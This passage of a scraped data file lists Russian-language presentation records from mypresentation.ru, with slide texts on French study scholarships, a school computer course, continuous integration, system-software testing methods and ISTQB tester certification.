"description": "Психологическая и финансовая помощь наиболее нуждающимся студентам Психологическая и финансовая помощь наиболее нуждающимся студентам Культурная деятельность : вечер приема иностранных студентов, клубы, праздники музыки, конкурсы ... Поездки, организованные для стипендиатов французского правительства, групповые экскурсии во время каникул. Активная профсоюзная деятельность : более 50% избранных студентов в административных советах CROUS."
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img16.jpg",
"description": "Стипендиаты французского правительства : прием, социальное обеспечение, трансфер в CROUS, стипендия и т.д. Стипендиаты французского правительства : прием, социальное обеспечение, трансфер в CROUS, стипендия и т.д. CNOUS-OSI : Стипендии на обучение в Магистратуре 2-го года на 1 год по гуманитарным и социальным наукам, праву, окружающей среде, управлению. Французский Альянс Алматы : стипендию и социальное обеспечение берут на себя семьи стипендиатов, получение статуса стипендиата от CNOUS"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/901f45986ff4f1a9e0508e1a31f29599/img17.jpg",
"description": "Учиться во Франции с Центром CNOUS Высшее образование во Франции Службы CNOUS и CROUS Стипендиальные программы в Казахстане Сеть по при, слайд №18"
}
] |
https://mypresentation.ru/presentation/99595 | LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img0.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img1.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img2.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img3.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img4.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img5.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img6.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img7.jpg",
"description": "Этапы создания презентации"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img8.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img9.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img10.jpg",
"description": "Критерии оценки презентации"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img11.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img12.jpg",
"description": "Критерии оценки презентации"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/d05d0f98a915bd7db3e4ac7f9d139782/img13.jpg",
"description": "LOGO Государственное общеобразовательное учреждение средняя школа 184 Калининского района Образовательная программа: «Компьютерно, слайд №14"
}
] |
https://mypresentation.ru/presentation/99596 | - Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img0.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img1.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img2.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img3.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img4.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img5.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img6.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img7.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img8.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img9.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img10.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img11.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img12.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img13.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img14.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img15.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img16.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img17.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img18.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/71d3ffc68da966211afed4a9e6349d6a/img19.jpg",
"description": "- Тестирование инсталляции - Регрессионное тестирование - Функциональное тестирование - Тестирование производительности - Тестиро, слайд №20"
}
] |
https://mypresentation.ru/presentation/99597 | Непрерывная интеграция Андрей Дзыня. Lohika Systems Kyiv | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img0.jpg",
"description": "Непрерывная интеграция Андрей Дзыня. Lohika Systems Kyiv"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img1.jpg",
"description": "О чем будем говорить Что такое непрерывная интеграция ? Зачем нам непрерывная интеграция ? Как же это непрерывная интеграция ? А нужна ли нам непрерывная интеграция ?"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img2.jpg",
"description": "Пример"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img3.jpg",
"description": "www.wheresthebuild.com"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img4.jpg",
"description": "Бардак"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img5.jpg",
"description": "www.youbrokethebuild.com"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img6.jpg",
"description": "Процесс интеграции"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img7.jpg",
"description": "Что для этого нужно?"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img8.jpg",
"description": "Определение Непрерывная интеграция, как практика частой интеграции изменений в проекте или изменений в существующем хранилище кода, должна происходить как можно чаще. Чтобы ошибки, возникшие на этапах проверки, были обнаружены и переданы разработчикам как можно быстрее."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img9.jpg",
"description": "Ликбез"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img10.jpg",
"description": "Build pipeline"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img11.jpg",
"description": "Триггеры"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img12.jpg",
"description": "Статические анализаторы"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img13.jpg",
"description": "White-box тестирование"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img14.jpg",
"description": "Сборка/Развертка"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img15.jpg",
"description": "Функциональное тестирование"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img16.jpg",
"description": "С чего начать?"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img17.jpg",
"description": "Системы непрерывной интеграции"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img18.jpg",
"description": "Доска"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img19.jpg",
"description": "Unit тесты"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img20.jpg",
"description": "Статические анализаторы"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img21.jpg",
"description": "Сборка"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img22.jpg",
"description": "Развертка"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img23.jpg",
"description": "Функциональное тестирование"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img24.jpg",
"description": "Результаты тестов"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img25.jpg",
"description": "Логи теста"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img26.jpg",
"description": "Pipeline"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img27.jpg",
"description": "Непрерывные улучшения"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img28.jpg",
"description": "Выводы"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img29.jpg",
"description": "www.buildsonmymachine.com"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img30.jpg",
"description": "Непрерывная интеграция Андрей Дзыня. Lohika Systems Kyiv, слайд №31"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img31.jpg",
"description": "Непрерывная интеграция Андрей Дзыня. Lohika Systems Kyiv, слайд №32"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/ee3a7a79d3900a2880ffc1485fc23fcf/img32.jpg",
"description": "Непрерывная интеграция Андрей Дзыня. Lohika Systems Kyiv, слайд №33"
}
] |
https://mypresentation.ru/presentation/99598 | «Простота» тестирования небольшого системного ПО Калугин Александр, PhD, PMP Mercury Development Project Director | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img0.jpg",
"description": "«Простота» тестирования небольшого системного ПО Калугин Александр, PhD, PMP Mercury Development Project Director"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img1.jpg",
"description": "Cистемное ПО …В отличие от прикладного программного обеспечения, системное не решает конкретные прикладные задачи, а лишь обеспечивает работу других программ, управляет аппаратными ресурсами вычислительной системы и т.д… © Wikipedia"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img2.jpg",
"description": "Cистемное ПО на заказ «Прибанбас». Небольшой компонент большого прикладного комплекса. Реализация одного или нескольких уровней стека сетевых протоколов. Клиентские/серверные компоненты комплексов использующих стандартные коммуникационные протоколы"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img3.jpg",
"description": "Почему сложнее для тестирования? Нету кнопок и формочек. Некуда вводить некорректные данные. Сложная предметная область. «Нелинейная» архитектура. Баг может проявляться на третьи сутки. То, что оно генерирует корректные данные здесь и сейчас, – ничего не значит. Спецификация – в виде стандарта – «слишком много буквов»…"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img4.jpg",
"description": "Не всё так плохо..."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img5.jpg",
"description": "Cистемное ПО / Прикладное ПО Мало нового кода Непосредственные пользователи – сервисы ОС. Стандартизованная логика Большое значение нефункциональных требований Сложная оптимизированная архитектура Много нового кода Непосредственные пользователи – люди Нестандартная логика Нефункциональные требования – на втором плане Относительно стандартная архитектура"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img6.jpg",
"description": "Просто нужен другой подход!"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img7.jpg",
"description": "Какие дефекты типичны? Не ошибки в реализации «бизнес-логики», а ошибки интеграции Некорректные ожидания о работе сторонних компонентов и сервисов ОС Неправильная интерпретация стандарта Ошибки сложной архитектуры (нефункциональные) Недостаточная наработка на отказ"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img8.jpg",
"description": "Тип дефекта не специфичен для продукта, продукты «менее разнообразны»"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img9.jpg",
"description": "Какие преимущества: Количество переходит в качество. Тестовые наборы из одного проекта могут быть использованы в другом. Можно подсмотреть, как играют мастера, сравнить с аналогичными продуктами, референтной реализацией Невизуальное представление данных – проще тестировать автоматически."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img10.jpg",
"description": "Как тестировать? Прикладное ПО: корректное поведение - в результате анализа требований и дизайна тестовых наборов. Системное ПО: есть референтная реализация корректного поведения аналогичным ПО. Метод №1. Сравнительное свободное тестирование Вместо анализа поведения системы на корректность и некорректность – можно сравнить с существующим аналогом. При требованиях совместимости с несколькими окружениями – тестировать параллельно в различных окружениях."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img11.jpg",
"description": "Как тестировать? Прикладное ПО: Функциональное тестирование сложной бизнес-логики. Внутреннее состояние системы – недоступно, черный ящик. Системное ПО: Нефункциональное тестирование интеграции. Сервисы ОС поддаются конфигурированию и администрированию – серый ящик. Метод №2. Автоматизированные тесты Вместо ввода тестовых данных и креш-тестов – скриптами менять состояние системного окружения. Для анализа отклика системы – не требуется специальных методов: можно анализировать (включая полуавтоматический анализ состояние сервисов используя средства анализа: vmstat, tcpdump, etc."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img12.jpg",
"description": "Как тестировать? Прикладное ПО: Для клиент- серверных систем -- нестандартные протоколы выше транспортного уровня. Клиентские и серверные компоненты – уникальны Системное ПО: Используются стандартизованные протоколы, зачастую с рекомендованной реализацией Метод №3. Кросс-Тестирование Вместо верификации конкретной реализации протокола – проверка совместимости работающих компонентов и поиск различий Независимая проверка клиентских и серверных компонент перекрестно с использованием референтной реализации."
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img13.jpg",
"description": "Cистемное ПО / Прикладное ПО Сравнение с аналогами в полусвободном сессионном тестировании. Функциональное тестирование часто тривиально. Автоматизация достается практически бесплатно Возможно тестирование отдельных частей/компонентов Необходимо тестирование наработки на отказ. Регрессионный набор – автоматически. Анализ спецификации и дизайн тестов. Функциональное тестирование – центральное место Автоматизация – требует специальных усилий и фреймворков Тестирование отдельных компонентов требует специальных усилий Наработка на отказ обычно не требуется. Регрессионный набор - специально"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img14.jpg",
"description": "Пример. NAS-клиент. Стратегия Разработать набор тестовых скриптов для корректности ввода-вывода (создание/удаление/перемещение файлов) Для каждой операции сделать дамп сетевого обмена между клиентом и сервером, используя стороннюю реализацию клиента. Запустить скрипт и сравнить дамп для тестируемой реализации Запустить скрипт в цикл – для наработки на отказ. Для тестирования совместимости (например, с антивирусом) – установить антивирус и повторить тест."
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/a95bbc1bc8623bd47d6fc8fe95a9ac5f/img15.jpg",
"description": "Спасибо за внимание! Ваши вопросы? Калугин Александр [email protected] http://pmarcor.com/"
}
] |
https://mypresentation.ru/presentation/99599 | Сертификация ISTQB. За и против. Птицына Виктория. ООО «НПФ «Гейзер» | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img0.jpg",
"description": "Сертификация ISTQB. За и против. Птицына Виктория. ООО «НПФ «Гейзер»"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img1.jpg",
"description": "Настраиваемся… Кто я? Тестировщик по жизни. С недавних пор – сертифицированный тестировщик ISTQB FL."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img2.jpg",
"description": "Настраиваемся… Кто я? Тестировщик по жизни. С недавних пор – сертифицированный тестировщик ISTQB FL. Почему такая тема?"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img3.jpg",
"description": "Актуально"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img4.jpg",
"description": "Интересно"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img5.jpg",
"description": "Спорно"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img6.jpg",
"description": "Сертификация это Общее определение сертификации (Википедия): «Сертифика́ция (лат. sertifico — удостоверяю) — подтверждение соответствия качественных характеристик товара стандартам качества. Под сертификацией подразумевается также процедура получения сертификата.»"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img7.jpg",
"description": "Суть программы ISTQB Программа ISTQB Certified Tester обучает знаниям по эффективной проверке и тестированию программного обеспечения."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img8.jpg",
"description": "Цели сертификации ISTQB Стать стандартом - на текущий момент признается более чем в 35 странах. Создать условия – международный уровень. Подтвердить квалификацию. Дать преимущество."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img9.jpg",
"description": "Для кого? Заказчик"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img10.jpg",
"description": "Уровни в сертификации ISTQB"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img11.jpg",
"description": "Требования к сдающим экзамен Foundation Level – знание терминов из словаря. Advanced Level – 1,5 года опыта + наличие сертификата ISTQB FL. Expert Level – наличие Full Advanced Level."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img12.jpg",
"description": "Варианты экзамена"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img13.jpg",
"description": "Язык экзамена Английский. Русский (только для Foundation Level). Другие."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img14.jpg",
"description": "Варианты подготовки Самостоятельно В группе единомышленников С тренером"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img15.jpg",
"description": "Самостоятельная подготовка Личное время Оплата книг и интернета"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img16.jpg",
"description": "Группы единомышленников Личное время Оплата книг и интернета Аренда помещения"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img17.jpg",
"description": "Тренер Оплата услуг тренера По желанию: оплата книг и интернета"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img18.jpg",
"description": "Материалы для подготовки Базовые: Силлабус . Глоссарий. Рекомендуемые: Для базового уровня: \"Foundations of Software Testing\" (\"Основы тестирования ПО\", авторы Dorothy Graham, Erik van Veenendaal, Isabel Evans, Rex Black. Дополнительные: Опыт (свой или чужой). Примеры тестов онлайн. Примеры вопросов для скачивания (см. в google, например, ISTQB Papers). ISTQB FlashCard (см. в google). Разные книги (см. на Amazone.com)."
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img19.jpg",
"description": "Подводные камни Недостаток или переизбыток опыта. Недостоверность информации из интернета."
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img20.jpg",
"description": "Отзывы о сертификации Сертификация – зло! Вообще сертификация должна быть: Малого количества. Многоуровневой. Постоянно подтверждаемой. (Алексей Баранцев) Для меня сертификат это всего лишь удовлетворение своих собственных амбиций. Я сдал, я доволен собой. Если наличие такового сертификата важно работодателю, то в итоге я получаю двойную выгоду. (Алексей Булат)"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img21.jpg",
"description": "Отзывы о сертификации «Очень большой минус, что работодатели не знают о сертификатах для тестировщков. Если посмотреть на вакансии на hh.ru то в требованиях нет пунткта о сертификате. Если кто видела такую вакансию дайте ссылку)))» (Игорь Варавко) «Цель сертификации - унификация знаний тестировщиков по всему миру. Хочется понимать тестировщиков из других компаний. При подготовке надо учитывать, что могут возникнуть спорные моменты: имея опыт за плечами не всегда соглашаешься с тем, что считается правильным по мнению ISTQB. Совет: лучше сдавать на английском языке, т.е. на языке оригинала. Постфактум - материальные бонусы редки, т.к. не все компании знают о такой сертификации.» (Маргарита Сафарова)"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img22.jpg",
"description": "Отзывы о сертификации «Что для меня сертификация по ISTQB? Нужна ли она мне для работы – на данном этапе нет. Но кто его знает, что будет дальше –поживем, увидим. Могу одно сказать, что подготовка к сдаче экзамена по сертификации ISTQB дает структурирование знаний и опыта. А также сданный экзамен повышает собственную самооценку :-) FL- для меня это только начало, обязательный шаг для следующего этапа - сдачи экзамена Advanced Level -Test manager, возможно еще и Test Analyst. С моей точки зрения - опыть работы подтвержденный сертификатами ISTQB это оценка уровня специалиста. В нашей стране в последнее время идут обсуждения, нужна ли сертификация и зачем. Это говорит о развитии этого направления, и надеюсь, в скором времени получит широкое распространение. Особенно, если это направление поддержат учебные заведения.» (Елена Костина)"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img23.jpg",
"description": "Отзывы о сертификации «Я думаю что эта сертификация как средство оценить человека по его профессиональным навыкам пока что довольно спорна, и дело не только в том что работодатель часто не знает про ценность подобной сертификации. Как выяснялось в процессе подготовки многие вещи имели очень спорные определения, выводы, порой даже радикально отличные от каких-то определений и т.д. То есть из минусов я бы назвал \"версионность\" – то есть это как перевод фильмов - то есть существует перевод по версии novafilm. Так и тут - знания несколько версионны, То есть - по версии istqb. Хотя нельзя не заметить их целостность и полноту. Как плюс istqb сертификации я бы назвал то, зачем в итоге многие пришли к идее сдать экзамен - упорядочить знания. Разложить знания и опыт по полочкам, с подписями \"test management\", \"test tools\", \"test design\" и т.д. И, как мне показалось - это получилось. Те кто сдавали - добились этой цели.» (Сергей Косьяненко)"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img24.jpg",
"description": "За и против"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img25.jpg",
"description": "Итоги…"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img26.jpg",
"description": "Спасибо за внимание! Вопросы Мои контакты: E-mail: [email protected] Skype: ptitsina_viktoriya Мой блог: http://vikips.blogspot.com/"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img27.jpg",
"description": "Другие варианты Information Systems Examinations Board (ISEB) - www.bcs.org International Institute for Software Testing (IIST) - www.iist.org QAI Global Institute (CASQ, SCQA…) - www.softwarecertifications.org"
},
{
"slide_number": "29",
